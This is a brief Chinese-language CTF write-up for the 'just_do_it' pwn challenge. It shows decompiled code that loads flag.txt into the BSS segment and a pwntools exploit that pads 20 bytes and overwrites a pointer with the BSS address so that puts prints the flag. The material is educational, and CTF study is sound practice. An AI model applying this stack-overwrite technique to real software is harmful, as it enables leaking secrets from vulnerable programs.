注意 :
不是每一个pwn题都是溢出后,我们可以利用的。 在cycly后你会发现这个程序没有造成溢出,我们看到flag.txt,首先想到ret到我们的flag处(记住这没有溢出)。 我们发现了put函数,我们查看栈内的情况发现put函数,和我们s输入之间相差20,我们可以将数据填充,然后put出我们flag.txt。 put的地址需要思考.....
stream = fopen("flag.txt", "r");
if ( !stream )
{
perror("file open error.\n");
exit(0);
}
if ( !fgets(flag, 48, stream) ) //如果不等于条件,文件打开失败, 反之
{
perror("file read error.\n");
exit(0);
}
注:程序读取了本地flag.txt文件 将flag里面的内容存储到了 bss段里面去了。 我们put出bss段的内容就ok了!
EXP
from pwn import*
p = process('./just_do_it')
bss_flag_addr = 0x0804A080
#gdb.attach(p)
payload = 'A'*20 #s和put相差 20
#payload += p32(0) #这里没有覆盖ebp
payload += p32(bss_flag_addr) #bss段存储flag内容的地方
p.sendline(payload)
p.interactive()














网友评论